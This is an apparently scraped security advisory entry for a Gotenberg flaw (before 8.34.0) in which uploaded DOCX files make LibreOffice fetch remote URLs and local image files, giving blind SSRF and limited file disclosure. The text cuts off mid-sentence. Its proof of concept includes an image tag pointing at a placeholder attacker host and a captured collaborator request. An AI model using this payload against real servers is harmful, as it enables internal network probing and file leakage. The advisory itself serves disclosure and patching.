EUVD-2026-336062

fkie_cve-2026-55229

Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.34.0, Gotenberg's /forms/libreoffice/convert endpoint allows a specially crafted document to cause LibreOffice to automatically retrieve external HTTP(S) resources and local file resources during document conversion, enabling blind SSRF and limited local file disclosure via linked image resource loading. This issue is fixed in version 8.34.0.

GHSA-2mrg-35hw-x3x9 — Gotenberg: SSRF via LibreOffice document processing

Affected: Go: github.com/gotenberg/gotenberg/v8

**Summary**

Server-Side Request Forgery (SSRF) vulnerability affecting the `/forms/libreoffice/convert` endpoint in Gotenberg v8.33.0 running with the default configuration.

By uploading a specially crafted DOCX document, an attacker can cause LibreOffice to automatically retrieve external resources during document conversion. As a result, outbound requests are made from the server hosting Gotenberg to attacker-controlled destinations.

Additionally, the same document mechanism appears capable of referencing image resources from the local filesystem. During conversion, LibreOffice attempts to load those resources and embed them into the resulting document.

**PoC**

**External Resource Retrieval**

Create a DOCX document containing the following content:

`<img src="http://[ATTACKER_HOST]:[PORT]/path?query=somedata">`

Upload the document to the `/forms/libreoffice/convert `endpoint.

During document processing, LibreOffice automatically retrieves the referenced external resource.

An outbound request can be observed on Burp Collaborator:

``` GET /secretendpoint?query=hacked HTTP/1.1 Host: gotenbergssrf.3cguefu7x55rg8z13mzu08i45vbmzcn1.oastify.com User-Agent: LibreOffice 26.2.3.2 denylistedbackend/8.20.0 OpenSSL/3.5.6 Accept: */* Accept-Encoding: deflate, gzip, br, zstd ```

**Local Resource Retrieval**

Create a DOCX document containing the following content:

`<img src="/path/to/image.png">`

Upload the document to the `/forms/libreoffice/convert `endpoint.

During doc…

Most recent entries from all

EUVD-2026-336062

fkie_cve-2026-55229

GHSA-2mrg-35hw-x3x9 — Gotenberg: SSRF via LibreOffice document processing